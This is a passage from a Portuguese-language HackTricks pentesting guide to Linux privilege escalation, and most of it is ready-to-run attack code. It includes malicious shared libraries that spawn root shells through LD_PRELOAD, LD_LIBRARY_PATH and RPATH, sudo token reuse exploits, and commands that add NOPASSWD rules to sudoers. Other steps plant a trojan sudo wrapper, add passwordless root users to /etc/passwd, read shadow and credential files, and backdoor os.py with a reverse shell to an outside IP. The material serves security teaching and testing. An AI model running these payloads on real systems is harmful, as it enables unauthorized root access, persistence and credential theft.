Esta técnica também pode ser usada se um binário suid executar outro comando sem especificar o caminho para ele (sempre verifique com strings o conteúdo de um binário SUID estranho).

Exemplos de payloads para executar.

Binário SUID com caminho do comando

Se o binário suid executar outro comando especificando o caminho, então, você pode tentar exportar uma função com o nome do comando que o arquivo suid está chamando.

Por exemplo, se um binário suid chama /usr/sbin/service apache2 start, você deve tentar criar a função e exportá-la:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Então, quando você chama o binário suid, essa função será executada

LD_PRELOAD & LD_LIBRARY_PATH

LD_PRELOAD é uma variável ambiental opcional contendo um ou mais caminhos para bibliotecas compartilhadas, ou objetos compartilhados, que o carregador irá carregar antes de qualquer outra biblioteca compartilhada, incluindo a biblioteca de tempo de execução do C (libc.so). Isso é chamado de pré-carregamento de uma biblioteca.

Para evitar que esse mecanismo seja usado como um vetor de ataque para binários executáveis suid/sgid, o carregador ignora LD_PRELOAD se ruid != euid. Para tais binários, apenas bibliotecas em caminhos padrão que também são suid/sgid serão pré-carregadas.

Se você encontrar na saída de sudo -l a frase: env_keep+=LD_PRELOAD e você pode chamar algum comando com sudo, você pode escalar privilégios.

Defaults        env_keep += LD_PRELOAD

Salve como /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Então compile-o usando:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Finalmente, escalar privilégios executando

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

{% hint style="danger" %} Um privesc similar pode ser explorado se o atacante controlar a variável de ambiente LD_LIBRARY_PATH, pois ele controla o caminho onde as bibliotecas serão procuradas. {% endhint %}

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary – Injeção de .so

Se você encontrar algum binário estranho com permissões SUID, você pode verificar se todos os arquivos .so estão sendo carregados corretamente. Para fazer isso, você pode executar:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Por exemplo, se você encontrar algo como: pen(“/home/user/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory), você pode explorá-lo.

Crie o arquivo /home/user/.config/libcalc.c com o código:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Compile usando:

gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c

E execute o binário.

Sequestro de Objeto Compartilhado

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Agora que encontramos um binário SUID carregando uma biblioteca de uma pasta onde podemos escrever, vamos criar a biblioteca nessa pasta com o nome necessário:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

Se você receber um erro como

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

isso significa que a biblioteca que você gerou precisa ter uma função chamada a_function_name.

GTFOBins

GTFOBins é uma lista curada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. GTFOArgs é o mesmo, mas para casos onde você pode injetar apenas argumentos em um comando.

O projeto coleta funções legítimas de binários Unix que podem ser abusadas para escapar de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, criar bind e reverse shells, e facilitar outras tarefas pós-exploração.

gdb -nx -ex '!sh' -ex quit
sudo mysql -e '! /bin/sh'
strace -o /dev/null /bin/sh
sudo awk 'BEGIN {system("/bin/sh")}'

{% embed url="https://gtfobins.github.io/" %}

{% embed url="https://gtfoargs.github.io/" %}

FallOfSudo

Se você pode acessar sudo -l, você pode usar a ferramenta FallOfSudo para verificar se ela encontra como explorar alguma regra do sudo.

Reutilizando Tokens do Sudo

No cenário onde você tem um shell como um usuário com privilégios de sudo mas você não sabe a senha do usuário, você pode esperar que ele/ela execute algum comando usando sudo. Então, você pode acessar o token da sessão onde o sudo foi usado e usá-lo para executar qualquer coisa como sudo (escalada de privilégios).

Requisitos para escalada de privilégios:

• Você já tem um shell como usuário "sampleuser"
• "sampleuser" usou sudo para executar algo nos últimos 15 minutos (por padrão essa é a duração do token do sudo que nos permite usar sudo sem introduzir nenhuma senha)
• cat /proc/sys/kernel/yama/ptrace_scope é 0
• gdb está acessível (você pode ser capaz de fazer upload dele)

(Você pode habilitar temporariamente ptrace_scope com echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope ou permanentemente modificando /etc/sysctl.d/10-ptrace.conf e definindo kernel.yama.ptrace_scope = 0)

Se todos esses requisitos forem atendidos, você pode escalar privilégios usando: https://github.com/nongiach/sudo_inject

• O primeiro exploit (exploit.sh) criará o binário activate_sudo_token em /tmp. Você pode usá-lo para ativar o token do sudo na sua sessão (você não obterá automaticamente um shell de root, faça sudo su):

bash exploit.sh
/tmp/activate_sudo_token
sudo su

• O segundo exploit (exploit_v2.sh) criará um shell sh em /tmp propriedade do root com setuid

bash exploit_v2.sh
/tmp/sh -p

• O terceiro exploit (exploit_v3.sh) irá criar um arquivo sudoers que torna os tokens do sudo eternos e permite que todos os usuários usem sudo

bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

Se você tem permissões de escrita na pasta ou em qualquer um dos arquivos criados dentro da pasta, você pode usar o binário write_sudo_token para criar um token sudo para um usuário e PID.
Por exemplo, se você pode sobrescrever o arquivo /var/run/sudo/ts/sampleuser e você tem um shell como esse usuário com PID 1234, você pode obter privilégios sudo sem precisar conhecer a senha fazendo:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

O arquivo /etc/sudoers e os arquivos dentro de /etc/sudoers.d configuram quem pode usar sudo e como. Esses arquivos por padrão só podem ser lidos pelo usuário root e grupo root.
Se você conseguir ler este arquivo, poderá ser capaz de obter algumas informações interessantes, e se você puder escrever em algum arquivo, será capaz de escalar privilégios.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

Se você pode escrever, você pode abusar desta permissão

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Outra forma de abusar dessas permissões:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Existem algumas alternativas ao binário sudo como o doas para OpenBSD, lembre-se de verificar sua configuração em /etc/doas.conf

permit nopass demo as root cmd vim

Sequestro de Sudo

Se você sabe que um usuário normalmente se conecta a uma máquina e usa sudo para elevar privilégios e você conseguiu um shell dentro desse contexto de usuário, você pode criar um novo executável sudo que executará seu código como root e depois o comando do usuário. Em seguida, modifique o $PATH do contexto do usuário (por exemplo, adicionando o novo caminho no .bash_profile) para que, quando o usuário executar sudo, seu executável sudo seja executado.

Observe que se o usuário usa um shell diferente (não bash), você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo, sudo-piggyback modifica ~/.bashrc, ~/.zshrc, ~/.bash_profile. Você pode encontrar outro exemplo em bashdoor.py

Ou executando algo como:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Biblioteca Compartilhada

ld.so

O arquivo /etc/ld.so.conf indica de onde os arquivos de configuração carregados são. Tipicamente, este arquivo contém o seguinte caminho: include /etc/ld.so.conf.d/*.conf

Isso significa que os arquivos de configuração de /etc/ld.so.conf.d/*.conf serão lidos. Esses arquivos de configuração apontam para outras pastas onde bibliotecas serão procuradas. Por exemplo, o conteúdo de /etc/ld.so.conf.d/libc.conf é /usr/local/lib. Isso significa que o sistema procurará por bibliotecas dentro de /usr/local/lib.

Se por alguma razão um usuário tem permissões de escrita em qualquer um dos caminhos indicados: /etc/ld.so.conf, /etc/ld.so.conf.d/, qualquer arquivo dentro de /etc/ld.so.conf.d/ ou qualquer pasta dentro do arquivo de configuração em /etc/ld.so.conf.d/*.conf, ele pode ser capaz de escalar privilégios.
Veja como explorar essa má configuração na página a seguir:

{% content-ref url="ld.so.conf-example.md" %} ld.so.conf-example.md {% endcontent-ref %}

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

Copiando a biblioteca para /var/tmp/flag15/, ela será utilizada pelo programa neste local conforme especificado na variável RPATH.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Então crie uma biblioteca maliciosa em /var/tmp com gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Capacidades

Capacidades no Linux fornecem um subconjunto dos privilégios de root disponíveis para um processo. Isso efetivamente divide os privilégios de root em unidades menores e distintas. Cada uma dessas unidades pode então ser concedida independentemente aos processos. Dessa forma, o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.
Leia a seguinte página para aprender mais sobre capacidades e como abusar delas:

{% content-ref url="linux-capabilities.md" %} linux-capabilities.md {% endcontent-ref %}

Permissões de diretório

Em um diretório, o bit para "executar" implica que o usuário afetado pode entrar ("cd") na pasta.
O bit de "leitura" implica que o usuário pode listar os arquivos, e o bit de "escrita" implica que o usuário pode deletar e criar novos arquivos.

ACLs

ACLs (Listas de Controle de Acesso) são o segundo nível de permissões discricionárias, que podem sobrescrever as padrões ugo/rwx. Quando usadas corretamente, elas podem conceder uma melhor granularidade na configuração de acesso a um arquivo ou diretório, por exemplo, concedendo ou negando acesso a um usuário específico que não é nem o proprietário do arquivo nem o dono do grupo (de aqui).
Conceda ao usuário "kali" permissões de leitura e escrita sobre um arquivo:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Obtenha arquivos com ACLs específicas do sistema:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Sessões de shell abertas

Em versões antigas você pode sequestrar algumas sessões de shell de um usuário diferente (root).
Nas versões mais recentes, você só poderá conectar a sessões de tela do seu próprio usuário. No entanto, você pode encontrar informações interessantes dentro da sessão.

sequestro de sessões de tela

Listar sessões de tela

screen -ls
screen -ls <username>/ # Show another user' screen sessions

Anexar a uma sessão

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

Sequestro de sessões tmux

Este era um problema com versões antigas do tmux. Não consegui sequestrar uma sessão tmux (v2.1) criada pelo root como um usuário não privilegiado.

Listar sessões tmux

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

![](<../../.gitbook/assets/image (131).png>)

**Anexar a uma sessão**

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Verifique a Valentine box from HTB para um exemplo.

SSH

Debian OpenSSL PRNG Previsível - CVE-2008-0166

Todas as chaves SSL e SSH geradas em sistemas baseados em Debian (Ubuntu, Kubuntu, etc) entre setembro de 2006 e 13 de maio de 2008 podem ser afetadas por este bug.
Este bug ocorre ao criar uma nova chave ssh nesses SOs, pois apenas 32.768 variações eram possíveis. Isso significa que todas as possibilidades podem ser calculadas e tendo a chave pública ssh você pode procurar pela chave privada correspondente. Você pode encontrar as possibilidades calculadas aqui: https://github.com/g0tmi1k/debian-ssh

Valores de configuração interessantes do SSH

• PasswordAuthentication: Especifica se a autenticação por senha é permitida. O padrão é no.
• PubkeyAuthentication: Especifica se a autenticação por chave pública é permitida. O padrão é yes.
• PermitEmptyPasswords: Quando a autenticação por senha é permitida, especifica se o servidor permite login em contas sem senha. O padrão é no.

PermitRootLogin

Especifica se o root pode fazer login usando ssh, o padrão é no. Valores possíveis:

• yes: root pode fazer login usando senha e chave privada
• without-password ou prohibit-password: root só pode fazer login com uma chave privada
• forced-commands-only: Root só pode fazer login usando chave privada e se as opções de comandos estiverem especificadas
• no : não

AuthorizedKeysFile

Especifica arquivos que contêm as chaves públicas que podem ser usadas para autenticação do usuário. Pode conter tokens como %h, que serão substituídos pelo diretório home. Você pode indicar caminhos absolutos (começando em /) ou caminhos relativos a partir do home do usuário. Por exemplo:

AuthorizedKeysFile    .ssh/authorized_keys access

Essa configuração indicará que, se você tentar fazer login com a chave privada do usuário "testusername", o ssh vai comparar a chave pública da sua chave com as localizadas em /home/testusername/.ssh/authorized_keys e /home/testusername/access

ForwardAgent/AllowAgentForwarding

O encaminhamento do agente SSH permite que você use suas chaves SSH locais em vez de deixar chaves (sem frases de senha!) armazenadas no seu servidor. Assim, você poderá pular via ssh para um host e de lá pular para outro host usando a chave localizada no seu host inicial.

Você precisa configurar essa opção em $HOME/.ssh.config assim:

Host example.com
ForwardAgent yes

Observe que se Host for *, toda vez que o usuário pular para uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança).

O arquivo /etc/ssh_config pode sobrescrever estas opções e permitir ou negar esta configuração.
O arquivo /etc/sshd_config pode permitir ou negar o encaminhamento do ssh-agent com a palavra-chave AllowAgentForwarding (o padrão é permitir).

Se você descobrir que o Forward Agent está configurado em um ambiente, leia a seguinte página, pois você pode ser capaz de abusar disso para escalar privilégios:

{% content-ref url="ssh-forward-agent-exploitation.md" %} ssh-forward-agent-exploitation.md {% endcontent-ref %}

Arquivos Interessantes

Arquivos de Perfis

O arquivo /etc/profile e os arquivos em /etc/profile.d/ são scripts que são executados quando um usuário inicia um novo shell. Portanto, se você pode escrever ou modificar qualquer um deles, você pode escalar privilégios.

ls -l /etc/profile /etc/profile.d/

Se algum script de perfil estranho for encontrado, você deve verificá-lo para detalhes sensíveis.

Arquivos Passwd/Shadow

Dependendo do SO, os arquivos /etc/passwd e /etc/shadow podem estar usando um nome diferente ou pode haver um backup. Portanto, é recomendado encontrar todos eles e verificar se você pode lê-los para ver se há hashes dentro dos arquivos:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

Em algumas ocasiões, você pode encontrar hashes de senha dentro do arquivo /etc/passwd (ou equivalente)

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

/etc/passwd editável

Primeiro, gere uma senha com um dos seguintes comandos.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Então adicione o usuário hacker e adicione a senha gerada.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

E.g: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Agora você pode usar o comando su com hacker:hacker

Alternativamente, você pode usar as seguintes linhas para adicionar um usuário fictício sem senha.
AVISO: você pode diminuir a segurança atual da máquina.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

NOTA: Em plataformas BSD, /etc/passwd está localizado em /etc/pwd.db e /etc/master.passwd, também o /etc/shadow é renomeado para /etc/spwd.db.

Você deve verificar se pode escrever em alguns arquivos sensíveis. Por exemplo, você pode escrever em algum arquivo de configuração de serviço?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Por exemplo, se a máquina estiver executando um servidor tomcat e você puder modificar o arquivo de configuração do serviço Tomcat dentro de /etc/systemd/, então você pode modificar as linhas:

ExecStart=/path/to/backdoor
User=root
Group=root

Verificar Pastas

As seguintes pastas podem conter backups ou informações interessantes: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Provavelmente você não conseguirá ler a última, mas tente)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Arquivos em Localizações Estranhas/Possuídos

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

Arquivos modificados nos últimos minutos

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Arquivos de banco de dados Sqlite

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

Arquivos *_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

Arquivos ocultos

find / -type f -iname ".*" -ls 2>/dev/null

Scripts/Binários no PATH

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type -f -executable 2>/dev/null; done

Arquivos da web

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Backups

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

Arquivos conhecidos contendo senhas

Leia o código do linPEAS, ele procura por vários possíveis arquivos que podem conter senhas.
Outra ferramenta interessante que você pode usar para isso é: LaZagne que é uma aplicação de código aberto usada para recuperar muitas senhas armazenadas em um computador local para Windows, Linux & Mac.

Logs

Se você pode ler logs, você pode ser capaz de encontrar informações interessantes/confidenciais dentro deles. Quanto mais estranho for o log, mais interessante ele será (provavelmente).
Além disso, alguns logs de auditoria mal configurados (com backdoor?) podem permitir que você grave senhas dentro dos logs de auditoria como explicado neste post: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Para ler logs o grupo adm será realmente útil.

Arquivos Shell

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Busca Genérica de Creds/Regex

Você também deve verificar arquivos que contenham a palavra "password" em seu nome ou dentro do conteúdo, e também verificar IPs e e-mails dentro de logs, ou regexps de hashes.
Não vou listar aqui como fazer tudo isso, mas se você estiver interessado, pode verificar as últimas verificações que linpeas realiza.

Arquivos Editáveis

Sequestro de biblioteca Python

Se você sabe de onde um script python será executado e você pode escrever dentro dessa pasta ou pode modificar bibliotecas python, você pode modificar a biblioteca OS e colocar um backdoor nela (se você pode escrever onde o script python vai ser executado, copie e cole a biblioteca os.py).

Para colocar um backdoor na biblioteca basta adicionar no final da biblioteca os.py a seguinte linha (altere IP e PORTA):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Exploração do Logrotate

Existe uma vulnerabilidade no logrotate que permite a um usuário com permissões de escrita sobre um arquivo de log ou qualquer um dos seus diretórios pais fazer com que o logrotate escreva um arquivo em qualquer local. Se o logrotate estiver sendo executado pelo root, então o usuário poderá escrever qualquer arquivo em /etc/bash_completion.d/ que será executado por qualquer usuário que fizer login.
Portanto, se você tem permissões de escrita sobre um arquivo de log ou qualquer um dos seus diretórios pais, você pode escalar privilégios (na maioria das distribuições Linux, o logrotate é executado automaticamente uma vez por dia como usuário root). Além disso, verifique se, além de /var/log, há mais arquivos sendo rotacionados.

{% hint style="info" %} Esta vulnerabilidade afeta a versão 3.18.0 do logrotate e anteriores {% endhint %}

Mais informações detalhadas sobre a vulnerabilidade podem ser encontradas nesta página: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

Você pode explorar esta vulnerabilidade com logrotten.

Esta vulnerabilidade é muito semelhante ao CVE-2016-1247 (logs do nginx), então, sempre que você descobrir que pode alterar logs, verifique quem está gerenciando esses logs e se você pode escalar privilégios substituindo os logs por symlinks.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Se, por qualquer motivo, um usuário for capaz de escrever um script ifcf-<qualquer coisa> em /etc/sysconfig/network-scripts ou puder ajustar um existente, então seu sistema está comprometido.

Scripts de rede, ifcg-eth0 por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. No entanto, eles são ~executados~ no Linux pelo Network Manager (dispatcher.d).

No meu caso, o atributo NAME= nestes scripts de rede não é tratado corretamente. Se você tem espaço em branco no nome, o sistema tenta executar a parte após o espaço em branco. Isso significa que tudo após o primeiro espaço em branco é executado como root.

Por exemplo: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Nota: o espaço em branco entre Network e /bin/id)

Referência de vulnerabilidade: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

init, init.d, systemd e rc.d

/etc/init.d contém scripts usados pelas ferramentas de inicialização System V (SysVinit). Este é o pacote de gerenciamento de serviços tradicional para Linux, contendo o programa init (o primeiro processo executado quando o kernel terminou de inicializar¹) bem como alguma infraestrutura para iniciar e parar serviços e configurá-los. Especificamente, arquivos em /etc/init.d são scripts shell que respondem aos comandos start, stop, restart e (quando suportado) reload para gerenciar um serviço específico. Esses scripts podem ser invocados diretamente ou (mais comumente) por meio de algum outro gatilho (tipicamente a presença de um link simbólico em /etc/rc?.d/). (De aqui). Outra alternativa para esta pasta é /etc/rc.d/init.d no Redhat.

/etc/init contém arquivos de configuração usados pelo Upstart. Upstart é um pacote de gerenciamento de serviços moderno promovido pelo Ubuntu. Arquivos em /etc/init são arquivos de configuração que instruem o Upstart sobre como e quando start, stop, reload a configuração ou consultar o status de um serviço. A partir do lucid, o Ubuntu está fazendo a transição do SysVinit para o Upstart, o que explica por que muitos serviços vêm com scripts SysVinit, embora os arquivos de configuração do Upstart sejam preferidos. Os scripts SysVinit são processados por uma camada de compatibilidade no Upstart. (De aqui).

systemd é um sistema de inicialização do Linux e gerenciador de serviços que inclui recursos como o início sob demanda de daemons, manutenção de pontos de montagem e automontagem, suporte a snapshots e rastreamento de processos usando grupos de controle do Linux. systemd fornece um daemon de log e outras ferramentas e utilitários para ajudar em tarefas comuns de administração do sistema. (De aqui).

Arquivos que vêm em pacotes baixados do repositório de distribuição entram em /usr/lib/systemd/. Modificações feitas pelo administrador do sistema (usuário) entram em /etc/systemd/system/.

Outros Truques

Escalada de Privilégios NFS

{% content-ref url="nfs-no_root_squash-misconfiguration-pe.md" %} nfs-no_root_squash-misconfiguration-pe.md {% endcontent-ref %}

Escapando de Shells Restritos

{% content-ref url="escaping-from-limited-bash.md" %} escaping-from-limited-bash.md {% endcontent-ref %}

Cisco - vmanage

{% content-ref url="cisco-vmanage.md" %} cisco-vmanage.md {% endcontent-ref %}

Proteções de Segurança do Kernel

• https://github.com/a13xp0p0v/kconfig-hardened-check
• https://github.com/a13xp0p0v/linux-kernel-defence-map

Mais ajuda

Binários estáticos do impacket

Ferramentas de Escalada de Privilégios Linux/Unix

Melhor ferramenta para procurar vetores de escalada de privilégios locais no Linux: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(opção -t)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumera vulnerabilidades do kernel no linux e MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (acesso físico): https://github.com/GDSSecurity/EvilAbigail
Compilação de mais scripts: https://github.com/1N3/PrivEsc

Referências

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
https://payatu.com/guide-linux-privilege-escalation/
https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744
http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
https://touhidshaikh.com/blog/?p=827
https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
https://github.com/frizb/Linux-Privilege-Escalation
https://github.com/lucyoa/kernel-exploits
https://github.com/rtcrowley/linux-private-i

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

• Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
• Adquira o material oficial do PEASS & HackTricks
• Descubra A Família PEASS, nossa coleção de NFTs exclusivos
• Junte-se ao grupo 💬 Discord ou ao grupo do telegram ou siga-me no Twitter 🐦 @carlospolopm.
• Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub HackTricks e HackTricks Cloud.